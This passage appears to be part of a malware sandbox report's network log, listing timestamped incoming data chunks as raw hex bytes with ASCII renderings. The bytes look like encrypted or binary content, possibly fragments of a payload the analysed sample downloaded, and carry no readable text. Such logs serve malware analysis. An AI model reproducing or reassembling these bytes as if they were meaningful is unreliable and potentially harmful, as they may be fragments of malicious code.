86 Data Ascii: iK\o$}3VFBPSyP<JS~^rot>yY J72;SRA}~u29V\|nZA@'N{%BKe>pxfx4 E:P>m,zR?(/)bZ1W07Vu}]nj[}A`<n4M,X/iU"
2021-12-28 17:13:33 UTC	1699	IN	Data Raw: c1 c4 49 ba 75 2c e3 5f 74 75 5f f4 6a cf 53 5c b6 bc 81 9a 77 d3 bb fd 5e 0b 53 66 63 fb cf c5 b0 25 c0 75 32 81 f2 0a d2 0d 16 50 30 46 7b cf 37 47 88 ea c1 39 37 5b 13 8c c0 82 56 ef a9 5a e8 6f a1 5f 8b 87 21 82 bf b6 6e 49 8d 1f bc 96 48 87 1d d3 f0 25 d0 08 0d 07 a1 7f bd b0 75 fb f6 c1 df 35 0b f2 39 1e a4 8a 20 33 3d fd b6 e7 71 12 43 b4 40 92 e2 a3 00 a1 17 79 01 1f ec d1 16 08 2e 5e cb 7c 98 1a 32 9c 2e 69 49 0f 4e a3 51 2c ac 8f d3 df ed c4 e6 e3 12 43 cd 50 d1 a1 38 a9 f3 da 7e db 2b 94 7d 98 4f c6 af 0d d7 36 06 7f 6d bc c0 f0 31 42 e2 dd c4 b3 60 3c 5c c2 bd 06 ce d1 61 1a 87 b9 f2 76 91 d3 4a 56 08 29 6f 6e 16 96 50 1c 86 fa 00 46 87 74 f0 1b 60 1d bb 33 90 4a 85 e8 b7 60 fe 85 5d 49 2a e9 e5 a0 ec 26 7b 12 3b 22 63 cc 31 af 30 65 a3 d2 8a Data Ascii: Iu,_tu_jS\w^Sfc%u2P0F{7G97[VZo_!nIH%u59 3=qC@y.^\|2.iINQ,CP8~+}O6m1B`<\avJV)onPFt`3J`]I*&{;"c10e
2021-12-28 17:13:33 UTC	1715	IN	Data Raw: 4f c8 02 98 66 10 7a e3 2a 82 51 76 9d c9 55 d5 ca f0 00 a7 9f 00 04 94 64 c0 3b 2f a6 27 38 9c d2 97 38 b8 1d 5c 23 72 d3 cb af 8a 52 f6 f6 26 fd 68 33 05 57 29 69 f3 79 0d 6e 24 c0 8b 75 51 b1 2a 64 cd 15 0d 02 ae 12 89 c9 d6 a4 d0 3f 79 4b 4d 16 0d 77 c7 5e b2 63 0a db be 24 dd c4 11 81 75 d3 1f f9 26 72 39 11 24 b9 b2 e9 c0 40 d4 da 20 45 5b 76 dd 28 95 e5 f6 81 40 bf a4 76 c8 62 4a ef b9 89 2e 97 ed 13 85 47 0a 3c 4e 6a ba 1b 21 8f fd 6d 69 1f c4 66 1f 66 c5 af 64 ad 46 e0 0f a4 04 d6 06 81 42 a3 2d 8d c9 bd ef 10 c4 1e a8 df 81 27 61 8b e7 e7 24 5f 07 ba 5e d0 01 a5 35 f5 0a c9 8b 63 0c a6 d6 a0 fd 22 b0 7c 3e 14 ab 9c ef f1 72 89 9e cc 82 a9 f7 bb a9 e1 98 c6 86 4d 0b ec de 94 e8 5b 65 dd a4 30 fa 9c 88 2d cd e7 eb a5 cd 93 78 f0 32 31 dc 98 f6 f4 Data Ascii: OfzQvUd;/'88\#rR&h3W)iyn$uQd?yKMw^c$u&r9$@ E[v(@vbJ.G<Nj!miffdFB-'a$_^5c"\|>rM[e0-x21
2021-12-28 17:13:33 UTC	1731	IN	Data Raw: 6e d8 e4 1c 53 6d 2d 0c ad a9 0e aa f2 a0 12 f4 10 99 77 74 34 8d 65 fd 0b c2 2d f3 96 07 c5 34 7d 10 5f 2b d8 30 50 b4 67 1b 53 94 48 80 cd 1f e4 06 8c a0 99 79 f6 fb cd e3 6c ef 7b 5e cc 7d d7 f3 dd ae a7 2c 61 2b ef 19 4f 58 ad 4d b7 8f c7 66 fb ad 99 a2 7f 74 67 c8 d7 25 d8 a4 b9 8a 92 65 a6 d3 58 8a 27 24 17 7d f5 4a f6 66 d8 06 1f 86 93 86 75 18 2f fb be 9c 46 72 97 e7 30 60 4b 81 47 81 d4 81 5f f8 a4 fb 17 14 75 92 93 3e 65 1d b6 3c 38 47 1b 2e f0 63 fb 8b 72 9b f1 ef c4 fd 5d 80 5a d5 bf 40 38 92 6f d6 7f 83 9d 52 d0 74 74 9f 3c 0f 42 97 37 58 a8 fe 5f 9b ef 3e 3e 3f 1f 7f c1 9f 50 71 06 b8 42 9f b4 40 f8 63 43 3a 3c 51 a0 34 c5 df 96 69 c0 7f a7 be 63 a2 11 7c 0c 67 11 9a f2 57 a4 80 24 c3 73 a3 fd ec b4 ff 25 1e 7e 9f ce 72 0c b1 d7 22 2e 4c 42 Data Ascii: nSm-wt4e-4}_+0PgSHyl{^},a+OXMftg%eX'$}Jfu/Fr0`KG_u>e<8G.cr]Z@8oRtt<B7X_>>?PqB@cC:<Q4ic\|gW$s%~r".LB
2021-12-28 17:13:33 UTC	1747	IN	Data Raw: 63 3e f8 41 05 e8 2d bb b1 88 00 b9 b9 81 bd b9 0d 23 b1 1c 8d d9 06 d6 f5 50 03 1d c1 6b d2 55 9d 33 dd f9 f8 13 fb 75 c8 53 aa 2a 87 75 a1 bc 9f 79 52 c5 9e 4a d6 d1 ea 8e cb a4 a0 b6 3f 2f 5f bf 2e 5b d0 18 08 01 0c 2e be 5a 9c 83 32 58 1e 92 12 79 49 09 66 99 fe a4 d2 3c 8f cb 75 23 47 75 2e 32 03 68 e1 83 99 26 37 d3 2a c0 82 26 be eb 81 c8 23 64 83 16 a5 4c 63 5b fb b8 33 33 04 f8 aa d4 9c 94 ae 75 bb 52 6a 63 d1 37 38 7e 3e 88 65 42 ae 2b ac 4b 03 a2 20 9c 93 90 2b 79 c0 38 98 a2 59 14 9f d6 03 e6 32 86 20 7f 8c a6 19 ca 24 53 d6 83 92 79 bc df 21 37 55 4a a7 2e 60 3c 33 bd ad 06 0a 28 99 be 2d 75 f2 68 ed 6f 5c 5b 9c 90 be 20 41 89 ae f8 6c 3e 84 18 15 f4 ae bd 34 06 2f 75 a1 c4 6e e6 39 ff 5f e9 20 88 80 cd 07 ea 2b c8 21 41 0c cb 53 eb c0 90 06 Data Ascii: c>A-#PkU3uSuyRJ?/_.[.Z2XyIf<u#Gu.2h&7&#dLc[33uRjc78~>eB+K +y8Y2 $Sy!7UJ.`<3(-uho\[ Al>4/un9_ +!AS
2021-12-28 17:13:33 UTC	1763	IN	Data Raw: 03 55 4c 29 8d 4c 56 71 5e dc 5e 41 a4 5e 88 55 54 52 51 dc 6f db 43 f0 76 f2 7f 41 24 b2 4f e5 5a 4b f9 ce 15 82 d6 8f 26 07 5e f8 65 28 c5 be 9f 2b 67 fd 40 c9 f7 83 77 04 e3 52 1a 51 81 67 ee 33 ef d8 33 82 e5 55 0e f5 22 08 3f b0 99 f1 4f be af f8 a7 4d 4c 18 8a 30 a2 1b 6f 90 00 81 cc 32 9c 7f e0 51 28 17 3f 2b a5 db 49 f0 ba 69 49 4b 2b 09 6a 33 f9 77 c4 eb e6 aa a0 f3 0c 88 b7 48 4f 11 48 88 c4 37 aa 78 de 2e 3d f7 c5 d9 dd 5e a6 65 c3 e7 ec 1b cd 3a b9 48 9d 49 87 33 7b 60 cd 21 ca 3f 84 e4 41 db 35 22 c2 27 b1 01 05 58 47 52 2d 64 b8 30 a0 fe c4 90 52 cc 0a e2 df 4f 37 ac f7 0d a7 4e e9 aa bf ab e4 48 74 65 ef dd 65 7b 88 1a 67 4f 96 6b 29 12 ae 92 81 58 ef 89 72 10 0a a7 33 84 72 85 bd c4 27 ed 4f 37 97 c3 47 4f 6e d4 95 ae e2 ea 11 78 bd cd c1 Data Ascii: UL)LVq^^A^UTRQoCvA$OZK&^e(+g@wRQg33U"?OML0o2Q(?+IiIK+j3wHOH7x.=^e:HI3{`!?A5"'XGR-d0RO7NHtee{gOk)Xr3r'O7GOnx
2021-12-28 17:13:33 UTC	1779	IN	Data Raw: 44 dd 71 62 60 16 c7 ec 1b 9c 9d 72 9e d2 53 9f 9d 2f 3c b6 4f 37 d0 1c 51 94 92 d5 0c 17 2e c6 08 82 8f ee fe a1 40 bc 37 a1 bf 44 ae ec 41 45 c2 a4 f7 69 f2 07 58 7d 61 e4 f5 ea 4c 09 42 b4 a9 2f 01 ee 9d fb f2 da 6e 31 66 b6 5c 40 b3 05 77 fa 67 f2 6b 26 3f 27 79 da c4 44 33 2b c2 72 f0 df 58 1a 9a 49 d4 f0 05 f6 7f d2 e6 a9 44 f6 9a 48 cd df ef 2f a8 92 60 76 fb a3 64 1e d4 50 3b 0a 8f 87 ef f0 9f 8d 53 97 6e f2 bd df 16 25 27 d8 fc 49 54 3f 35 4b de 87 1b 8a 13 54 63 86 a1 99 62 e4 4a a4 b4 50 61 48 e0 83 0f 1b 7a e8 a0 23 9a a7 6c 43 cb 77 5e b6 0e f0 4a 9f 67 84 12 1c 54 88 de 55 95 f6 dc 4a 47 2b ea 0f 0b 4a e0 d3 1a eb 7d 47 bd a8 7b 85 ec 98 df 0e 68 5f 33 25 32 61 d8 cf 43 77 41 92 c9 ec 9d 7c 17 01 5a 0c b8 46 8d 04 83 6c 0f c7 1e 2c e7 94 79 Data Ascii: Dqb`rS/<O7Q.@7DAEiX}aLB/n1f\@wgk&?'yD3+rXIDH/`vdP;Sn%'IT?5KTcbJPaHz#lCw^JgTUJG+J}G{h_3%2aCwA\|ZFl,y
2021-12-28 17:13:33 UTC	1795	IN	Data Raw: 50 7e ec ac 10 2d 33 fb 32 6b 78 48 73 d7 90 a1 bf 40 f5 9f 1e 60 39 d5 0a fb 98 c4 0c 24 85 c2 c6 96 1d 8b 6f 5c 13 33 c9 5f c1 d6 ab 63 54 7b c2 08 37 7c bc c0 05 c1 27 74 f6 d9 a7 28 8d 2d ab 49 f5 71 9f b9 13 3d 0b 6e 07 c8 bf 1f 77 b4 69 9c 17 37 1f b8 b3 9e 77 96 26 16 c5 b6 59 ad 4e 7f 5a b7 61 e8 3f 62 d7 95 00 ed 50 53 16 d3 22 d9 bc 94 93 e8 1f 7c cf ed d7 a8 38 c0 e8 47 73 6b f6 39 37 0b 5a 23 1f 5c 9c a9 d6 f5 20 6e 87 72 32 29 d0 e6 c0 e6 59 df f7 f9 51 53 1e a0 50 1e 8e 4e 4c e4 30 42 fa 40 d3 b5 d2 13 37 53 68 bb 8e d0 b9 8f 59 5d 39 7d 74 35 d8 f7 a8 28 ab 9c c4 fc 58 10 19 c1 2e 54 67 01 78 1a 64 62 b7 94 0e 86 ac a9 62 e4 6c 42 e2 c0 91 c4 09 d7 ac 3f 00 6b ad e4 5f d3 ef 9c d0 e8 59 ec 37 81 99 03 77 28 b1 f0 c5 fc 78 10 22 c7 18 e9 fe Data Ascii: P~-32kxHs@`9$o\3_cT{7\|'t(-Iq=nwi7w&YNZa?bPS"\|8Gsk97Z#\ nr2)YQSPNL0B@7ShY]9}t5(X.TgxdbblB?k_Y7w(x"
2021-12-28 17:13:33 UTC	1811	IN	Data Raw: 99 b0 16 cf 06 cf 56 1d 3d b4 69 27 38 52 cb 52 61 a7 89 55 4e c5 7c 45 76 53 28 46 11 00 b2 50 a5 be 43 e2 17 76 97 31 71 0e 83 0d 1e 09 ce 28 47 f7 a6 99 89 a5 44 9b 61 4d 99 3e 54 2e 7f 2c 20 5a f6 88 a0 c3 9f bd eb 4d a6 b6 c0 9d 45 e8 59 ad 95 14 dd 61 dc 6c 01 eb e4 89 04 52 a4 a9 96 bf 1f 23 78 2c 6f 1e 83 88 14 3c 5c aa 80 8e eb 13 dc 36 d3 0e fc d4 ce 39 50 2b bb e0 16 a4 35 86 68 f8 21 5b a4 b2 e7 d8 24 53 11 42 00 75 dc a1 f5 66 2a bd 21 5e 46 8c 58 ff 89 a1 ef db 82 d0 f5 a0 d2 46 d9 59 84 a9 49 9f ef b7 a0 4f e2 83 4f b9 43 28 44 1e 4d 3d b1 e2 b5 61 69 d8 cb c9 20 f2 70 ab 30 d0 f5 76 02 8f a5 7c 9a 56 92 9c 26 00 ab 7d 68 9c 0b 03 f7 03 7c 45 40 81 13 ae 76 95 46 a8 98 e2 6d db 4f 7e 9a 7b 1c db c9 0e 11 86 c9 d8 27 db 77 f5 42 b5 dd fa a3 Data Ascii: V=i'8RRaUN\|EvS(FPCv1q(GDaM>T., ZMEYalR#x,o<\69P+5h![$SBuf*!^FXFYIOOC(DM=ai p0v\|V&}h\|E@vFmO~{'wB
2021-12-28 17:13:33 UTC	1827	IN	Data Raw: c2 6e 8a f4 e5 9f c2 84 a9 84 1c 91 51 e4 3b cc 5c 0a 53 20 8a 92 5e 95 b9 5c 6d 54 fc fc 91 f3 bc 0d 40 2b a4 7b 7e fc fe 8e 67 58 f7 c4 c4 47 06 8d 02 aa 2c 87 45 0e 3a 09 63 cf e9 95 c8 59 bf b3 ad 9c 25 87 d0 39 50 c5 01 85 5e 71 7c f8 20 9e 3c bb b9 7f 8f 2a cb fc ff b1 da 1c c6 27 75 47 aa 29 7c 0a 96 52 98 48 2b 26 5e be 85 13 66 84 81 94 e6 18 31 cc b5 8b d9 23 8c ae bf ec eb f9 56 4a 09 9c 1c e2 9c e4 62 70 48 e3 19 76 e2 88 a9 cd 74 ed 12 41 fe 07 0f 77 b6 a2 f4 6c 1e f6 27 2d 7c 09 5d b9 15 c4 28 d3 26 18 74 10 06 c9 e1 72 14 05 2c e2 d2 5a 5d e7 27 ad f7 cf b7 a8 52 ad 2f a5 21 7e 9d dc dd 7f dc 69 aa 19 aa 13 8e 02 c2 0c 7f bf f0 b0 6f 21 6a d1 2b a2 03 53 23 28 95 97 58 32 ac 8c f6 e3 4e fe 15 04 1e 62 4f a4 00 ce 02 62 d0 98 56 d8 60 32 a6 Data Ascii: nQ;\S ^\mT@+{~gXG,E:cY%9P^q\| <*'uG)\|RH+&^f1#VJbpHvtAwl'-\|](&tr,Z]'R/!~io!j+S#(X2NbObV`2
2021-12-28 17:13:33 UTC	1843	IN	Data Raw: ca 70 b5 55 60 34 90 e0 c2 fd 99 bb 14 08 49 a8 28 2a 87 0c c7 97 96 b2 61 28 de ad e9 36 07 e8 3b 9f 43 72 85 32 6a 18 76 cd 44 f1 86 91 cd cc f6 a0 0a 1e 56 37 12 4c 72 12 45 c8 ea 11 7c df f0 7a b5 84 b2 29 84 bb 99 d3 f9 6d 60 8b 70 99 aa b0 7b ef 9d e7 91 2f 22 4c 7d fd 25 63 a9 6a 25 06 24 a6 fe 87 5e 74 f7 f9 2c 85 d4 43 7c aa 1f 46 5d 9a 3c 15 67 e1 bc 18 8d e8 98 d5 d6 ee 1b e7 69 ca 03 60 c8 70 33 01 15 d9 c1 2a e1 de 20 8b e0 1e 03 51 fd db eb 89 a1 cc fb 9a 5f c0 60 fc e6 70 0a bc 32 e5 b7 40 43 fd a9 2f ec 3b 9d bd 2a 7b 15 4d 0e 30 7d 5f e5 a3 9d 69 59 9c 85 39 a9 39 18 ca 2b ba 66 dc c1 a0 ff 34 07 54 3c 3e 8d 51 6f 2b c0 5d c9 06 89 b0 ee 39 19 28 b2 0b 64 5c d2 dd 51 74 e6 b0 e1 00 86 9f de 0f 6e 43 38 40 18 c5 50 24 bb 1a 9b 75 c5 8a e7 Data Ascii: pU`4I(a(6;Cr2jvDV7LrE\|z)m`p{/"L}%cj%$^t,C\|F]<gi`p3 Q_`p2@C/;*{M0}_iY99+f4T<>Qo+]9(d\QtnC8@P$u
2021-12-28 17:13:33 UTC	1859	IN	Data Raw: 9e 70 77 dc 75 58 50 d8 e1 58 4c f7 bd b7 ca 81 00 c0 05 f2 6f 40 75 10 02 f0 5c 7a 53 5d c2 9c d3 04 4c 5e 8b 42 e6 e1 6c d1 f2 58 0f 81 62 05 a0 ac ec f1 dd e6 a1 cc bf fe ab 58 56 23 ab 06 3f b8 6f ab fd 06 51 84 1d a3 df 1f cd 68 0d 98 dd 4c d3 79 fc f0 4c 8e 39 40 ef ee 61 0d dc 24 c0 4d 27 69 79 52 ec 23 79 f8 0b 45 e9 0c 5c 14 c9 51 3d cf f0 19 7d 34 07 7a 61 55 b0 8e f1 90 6d a4 55 7c ef e8 06 e9 db 8f a7 c7 99 59 12 ff 07 9d d9 b5 78 4f 4d b9 5e df 75 c6 70 1e 08 7b 59 cc 72 e2 0e f5 19 a3 5d a0 f8 7e bc 3a fa 12 51 0f e7 33 ca da 93 fb 0b 0b cb 47 5c 9a 94 c5 8d 8c 4c 8d e9 d2 1a d9 fc 1b 76 7d e4 cc 86 76 55 0d 6b 85 49 76 3a 0f c7 4a 14 85 5f 5b 08 41 1c f4 c9 4c 83 af fc 56 e4 78 20 db f9 6f fe ff 0c c1 2e ee ce 82 80 d0 65 3d 4f 04 68 f7 0f Data Ascii: pwuXPXLo@u\zS]L^BlXbXV#?oQhLyL9@a$M'iyR#yE\Q=}4zaUmU\|YxOM^up{Yr]~:Q3G\Lv}vUkIv:J_[ALVx o.e=Oh
2021-12-28 17:13:33 UTC	1875	IN	Data Raw: 4f 39 71 39 5f 3c c5 82 b2 f4 d2 31 4b 5a b2 5e 89 95 4e 5a 02 3e cd 93 1a 7b 3e 22 2a d8 ab 78 ff f2 0c 05 5a fa 87 17 e1 0f eb fd 90 26 db 99 e0 a0 e8 7c c5 96 c1 72 27 66 1b c9 e3 ab d9 81 01 5f 62 be 97 52 68 71 3d 68 d3 70 57 1b 0e cd 41 70 c9 0c 1d 4a cc 91 ff 95 85 2b 69 ac 3f e0 97 e2 a5 2d cb 26 f4 48 f1 f5 49 58 d5 b7 56 27 47 13 43 9d 24 63 4b 97 b1 cd d0 d6 2d cf d9 69 be c5 fa 09 f1 b0 09 ed a9 3a 26 7e 13 4d 4c 01 c9 59 88 e8 e3 04 75 53 81 45 84 3c c7 5a 74 0b fc fe 2b 12 c3 cd 24 f5 6e 2b 45 1b a7 2e ca de 55 77 a1 d8 21 b1 70 e2 0f 35 51 d2 57 e9 db 98 1d 53 4e 8a ce 8b d0 0d 77 a6 46 da 98 d4 1c 94 fd 07 88 5f 0d c9 f8 9a b4 ec 58 c9 61 6d ec b0 39 d5 96 61 19 91 37 d0 fe 83 dc f3 54 ca dc 40 cf 70 65 66 af dc e0 d9 ba ce e9 ff f4 16 ff Data Ascii: O9q9_<1KZ^NZ>{>"*xZ&\|r'f_bRhq=hpWApJ+i?-&HIXV'GC$cK-i:&~MLYuSE<Zt+$n+E.Uw!p5QWSNwF_Xam9a7T@pef
2021-12-28 17:13:33 UTC	1891	IN	Data Raw: 7d 31 38 83 67 c2 51 e4 7d df 44 0f 42 bb 10 02 e9 22 a4 6a fa a1 b3 47 0d b5 86 a0 66 36 90 92 e9 55 b1 88 f2 92 af 2f 47 eb 19 fe 46 eb 92 03 b4 0a 5f 91 f8 8d 46 fb 14 eb ba f5 ce 44 04 ea ed ac 72 98 0e 2a 93 ef e8 f6 ba ba df 4a d3 1b 4a c2 97 2d 07 c3 f3 e2 d3 47 09 8c 11 61 64 bf 14 77 56 49 8f a3 9b 95 22 15 c0 2f 0e 22 3c 0d 45 27 8a 52 9e 42 b4 74 9f 48 f0 1d b6 29 9d fd 45 ea 15 9f ee b8 f9 8b 61 df 12 0e 00 ac d5 2b fb 84 ad f7 1e 92 6e 3e b8 a7 ef 76 9b 1e 48 f9 5f e8 7f d0 16 c9 92 24 21 2a eb a5 1b 1b fa 4f 29 12 08 b1 17 4f 73 a0 eb 6c 19 77 86 d3 1d 14 82 7a a6 b9 f8 66 b1 c9 24 ad 97 95 83 a2 08 d5 5a de 26 2d b6 fe 3a d8 39 27 6b 6c be d7 9a 93 97 12 6b 34 08 df ce ef 7c b1 3a 79 f6 07 6f 92 85 81 fd 8b 35 9c 20 e3 cf c1 d9 b2 8f 99 b4 Data Ascii: }18gQ}DB"jGf6U/GF_FDrJJ-GadwVI"/"<E'RBtH)Ea+n>vH_$!O)Oslwzf$Z&-:9'klk4\|:yo5
2021-12-28 17:13:33 UTC	1907	IN	Data Raw: 9c 7a 45 d8 b8 ff be 7e 1f 41 f0 90 bb 0f 63 76 09 37 6f c1 63 b2 d7 d8 ad f5 80 f2 de 14 74 38 ea cd 94 9a 2d 43 92 32 38 fe a6 15 38 a2 ff 3c 6b 86 bd 02 58 44 03 93 48 74 36 d6 73 5e c0 7b d4 61 ab 6b 9f 30 a1 e8 e6 70 25 d1 14 c9 f1 c3 6a d1 55 7a a3 a6 b4 22 05 5e 56 e4 87 bf d5 3f 94 f0 df f8 5b 6b 5d 2a dc 9f be 1e 86 0a a5 b2 0f 1e 58 c7 d7 b3 4b 04 18 47 33 bc 19 87 c3 00 6e 04 5f 64 fe b6 d7 08 86 37 b8 9a 62 5a d6 92 69 fd 10 b2 88 b6 36 1c 0e d4 ed d7 02 0f 79 fd 6b 51 c8 af ea 27 7e ba 01 b5 e6 ef a1 6d 21 f8 ea 08 7c 19 32 f4 92 19 b3 92 54 5f b9 3f 8c 43 08 dc 34 e2 8f 3e 1a 71 e6 8e 48 69 f7 e9 2e ab 18 93 67 74 fc 62 f3 4b 52 2f 3c fd 2a e4 00 86 21 62 12 4f 9c 2f f4 4b b7 31 04 4c ee 97 65 dc d5 b2 3b 57 35 f3 9e b4 85 9b 62 60 c4 6b 37 Data Ascii: zE~Acv7oct8-C288<kXDHt6s^{ak0p%jUz"^V?[k]XKG3n_d7bZi6ykQ'~m!\|2T_?C4>qHi.gtbKR/<!bO/K1Le;W5b`k7
2021-12-28 17:13:33 UTC	1923	IN	Data Raw: 00 e6 17 e9 ec 03 bb a3 3f 1e 5a d2 d0 94 9a d0 dc 94 64 0a c4 23 8d 59 e7 63 ce 51 45 ec ce db 73 a2 ef 96 e2 40 75 4b 09 b2 aa b5 d6 dd 45 c4 0b 87 c5 32 f8 4e 13 f2 8e 12 fe 05 8d dd 11 5a 92 94 86 46 de 57 f6 ef 3a 45 83 6c 4d 8f 5d 4c 3a b7 da 60 ee 56 e6 a2 c0 ac 82 69 5c 53 85 95 b8 03 78 36 2a 4e f4 70 70 af aa 9c 4f e8 dd 71 73 ef 1f 5c 6a 4a b0 39 17 c1 f0 58 a1 19 ec fd c4 93 51 63 1d af 44 64 b7 84 49 31 06 6a a5 c6 91 19 14 ad 93 63 9b a4 16 91 fe 17 06 92 47 05 aa 6b 6d 6b 16 89 98 e2 41 52 eb 89 5f b5 86 b4 61 8e c6 6a ce 3b 51 f0 72 b0 23 a9 c8 28 6d 2f 1f 0c 2b 81 6c e8 36 92 47 8b 97 04 83 36 83 fa 69 72 9c 4a 15 f2 86 b1 e1 96 0f 96 e2 4f 26 39 a9 e5 5a e1 f8 33 e8 a5 50 e4 6e 10 c8 d5 a5 76 ad b8 7d a0 95 c7 34 f7 c8 8d 2d 9c f8 38 c8 Data Ascii: ?Zd#YcQEs@uKE2NZFW:ElM]L:`Vi\Sx6*NppOqs\jJ9XQcDdI1jcGkmkAR_aj;Qr#(m/+l6G6irJO&9Z3Pnv}4-8
2021-12-28 17:13:33 UTC	1939	IN	Data Raw: d5 fd ab 8d 4f cc e9 0b 58 07 b3 8b ea 70 88 5a bb 26 98 cf 20 22 30 e8 07 3d 21 08 56 08 bc d3 b9 e9 3f f4 27 57 c7 31 4d 76 aa ba 58 82 7f 87 42 c1 49 04 96 f3 2b b2 42 78 80 5f 1f 59 51 5e 23 0e ca f1 c9 45 88 50 dd 7b 22 04 25 45 8c 86 ca 85 49 45 22 18 96 0e c0 1f 43 8a db 42 48 84 7d 7f 72 e4 d2 56 8a ae 46 1f 60 36 f6 6e 3e af 0e 2c 52 82 d7 12 d0 54 51 bb 78 4f a3 ac 1e 9e 2f 1c ce c4 f9 31 1b ef ca a9 28 4c 93 9b 48 e9 00 b0 ac fc b4 eb e0 4e e3 84 5d 32 79 86 95 ac f0 96 40 4a 5b 95 80 88 a9 e7 18 ac 8b 57 3e cb 2c 8e 46 81 e7 fd f9 c6 cd dc 50 cc a5 00 32 5f e5 f9 7b fc 74 e0 c7 b8 d3 6c d9 e1 7f c4 9a d2 c2 84 8d 6c 06 6f 46 79 d0 f5 79 95 d9 40 69 7c eb 6e 5e 8c b3 e0 10 6c 4d fb 36 30 45 33 f7 23 9c 37 25 f4 14 21 a5 b4 75 f5 d0 3f 1e 8b 54 Data Ascii: OXpZ& "0=!V?'W1MvXBI+Bx_YQ^#EP{"%EIE"CBH}rVF`6n>,RTQxO/1(LHN]2y@J[W>,FP2_{tlloFyy@i\|n^lM60E3#7%!u?T
2021-12-28 17:13:33 UTC	1955	IN	Data Raw: a4 26 84 21 e1 8f c0 57 3e 4d 8f 2e 24 8d 45 d2 79 99 dd 69 59 fd 0b b3 74 ee da db 69 7e 4e bf 39 03 27 e1 f5 71 58 4d 5b 6a 53 29 f5 aa 49 c2 d3 64 d7 1d 50 28 df 92 16 ed 9b e3 3c 1f 62 d5 f0 17 1b 68 ff a8 19 32 64 c2 91 ba 3a 55 88 a0 28 79 1a d2 c7 ce c9 29 7a 2b b4 b6 24 66 28 3a b4 9a 3c b6 14 be ba 77 2f 12 fe 40 65 ed f4 94 cf 01 5f 7a 03 e4 38 16 cc 7e c0 e2 53 69 04 a2 ef 99 00 7e 55 ba a5 5e 5f c8 23 f8 27 9e 47 d0 46 68 20 7f 42 ab b3 72 eb bc ad c7 c0 41 eb 5f 50 af df c0 2f 53 d3 97 3c fc 69 56 5a c2 05 96 fd 63 b3 ea d0 f5 3c 08 2b ff 43 6d 31 67 1e 26 bf ee 29 18 07 f0 d1 7a b8 82 aa 3e 9c fc 08 b7 33 f2 7c 02 d3 ba ac 1f 87 5b 1d 19 71 5c 42 d8 c4 a0 9c ea 0d 87 81 9f 03 26 20 5c 3a 8a d7 44 8d 21 fe b2 e6 1b 63 5e db 62 68 89 18 ca c4 Data Ascii: &!W>M.$EyiYti~N9'qXM[jS)IdP(<bh2d:U(y)z+$f(:<w/@e_z8~Si~U^_#'GFh BrA_P/S<iVZc<+Cm1g&)z>3\|[q\B& \:D!c^bh
2021-12-28 17:13:33 UTC	1971	IN	Data Raw: 7f 00 db df 3d 00 28 58 00 00 0a 23 21 79 00 4a 4f 00 5c 1d 00 81 79 00 9e 3d 00 28 ed 01 00 06 5d 07 cc 3d 00 28 3c 00 00 01 56 21 2a 00 df 79 00 4a 2a 00 28 00 00 00 00 5c 3d 00 28 80 00 00 0a 79 81 79 00 28 63 00 00 0a 8b 9e 2a 00 28 69 01 00 06 ab 28 43 00 00 01 1c bf 29 28 27 3c 7f 00 08 33 28 43 00 00 01 1c ca 29 28 b7 2f 7f 00 ff 1e 0b cc 34 00 df 1a 00 28 42 00 00 01 1c 58 28 5a 00 00 0a e4 28 85 00 00 0a f7 21 1a 00 28 61 92 5e 00 21 57 00 28 01 00 00 00 21 53 00 28 12 00 00 0a 23 28 13 00 00 0a fa 28 00 00 00 80 28 03 00 00 00 cb 28 5d 00 00 0a d1 28 03 00 00 00 28 80 00 00 00 04 28 5d 00 00 0a d5 28 de 01 00 06 5d 21 2e 00 4a 2e 00 53 28 97 00 00 04 e8 28 9d 00 00 0a 79 28 43 00 00 01 1c 01 29 28 0a c8 3f 00 08 33 28 43 00 00 01 1c bf 29 28 60 Data Ascii: =(X#!yJO\y=(]=(<V!yJ(\=(yy(c*(i(C)('<3(C)(/4(BX(Z(!(a^!W(!S(#((((](((](]!.J.S((y(C)(?3(C)(`
2021-12-28 17:13:33 UTC	1987	IN	Data Raw: 78 98 d0 13 d3 20 8d 63 4a b0 f9 7e 90 d7 1e ae 0f 8e 96 b5 4f 30 75 a2 95 da 18 5e 23 bc f3 b3 6b 0a a8 df 88 0f ac a0 60 8a 0d a6 1c a3 24 2b 92 35 ee 96 cd 7d 5b e3 3d 17 b6 48 c6 8b c8 94 9e 86 3a 4e 5d ab 5a 71 a9 40 f8 6c e9 06 93 4a e3 de 73 64 5a 48 54 a5 80 77 83 9c e7 fa 3e 92 41 c1 b1 1c da e3 9b 28 28 e5 19 06 73 62 5d c2 12 52 c8 52 b8 31 77 64 e5 87 4a 83 99 4c de 95 54 b9 07 2e 7d 12 fe 1f 38 37 db 41 44 cf 7e 27 63 cd 7d be 41 5c ab ef 55 4a eb b1 1d ec 94 5f 19 05 a0 68 c8 f7 0b 25 ab f5 c5 f7 5a ca ae 25 a1 9b 28 71 96 eb 05 08 a9 73 44 a2 3c dc 66 5e d7 90 71 0b c5 61 20 30 f4 f2 70 d2 9a c7 a3 7f 85 bd da 07 84 e7 ef f1 96 44 ed 1e 00 46 a3 e4 e4 33 f4 50 39 5e 91 9e 0f 6a 84 6e cf ce 51 49 0c 2d 37 e3 1c 9d 5d b4 13 92 0d ec 76 c4 b1 Data Ascii: x cJ~O0u^#k`$+5}[=H:N]Zq@lJsdZHTw>A((sb]RR1wdJLT.}87AD~'c}A\UJ_h%Z%(qsD<f^qa 0pDF3P9^jnQI-7]v
2021-12-28 17:13:33 UTC	2003	IN	Data Raw: 8f 92 14 2a 79 dc 9f 42 0c 95 d4 e8 64 8c ed df d2 84 68 ce 14 4f d0 16 1e f7 88 d1 b4 7e 25 78 ca cb 5a d2 e3 ba cd d6 13 bf d3 9c 09 4a fb d6 12 d0 b2 68 c3 90 01 d9 bd aa 93 db ff 6f 68 4f 6b 5f 30 b8 13 f9 d3 83 59 85 69 6d 47 00 69 a8 7c 58 3a 42 6a c8 11 23 3e 44 09 77 40 5a 2f 59 61 3d 43 1c e6 38 4e 01 b8 77 7b d8 6a 80 36 3c ff 40 bf 13 1d 49 20 3e 5a bb e1 1b 99 16 c9 f4 aa 93 92 a1 96 59 e1 09 43 de 57 65 ea 51 40 c6 bc f1 ff 9d 15 23 f0 c0 89 67 0e 60 ea 93 88 19 e3 09 16 8a bd 98 19 d7 be 9e b7 72 33 29 a8 20 27 30 fa 8d c5 91 d1 c2 a9 23 f5 58 d0 fd 83 e9 e2 c8 11 0b dd e2 07 6f 9b 97 3a 92 d3 3d 84 5b 1e f5 61 7a 47 20 9a ad 73 ef ae 59 97 ad 03 8c 42 05 76 c9 a0 0a b1 0f 95 6b a6 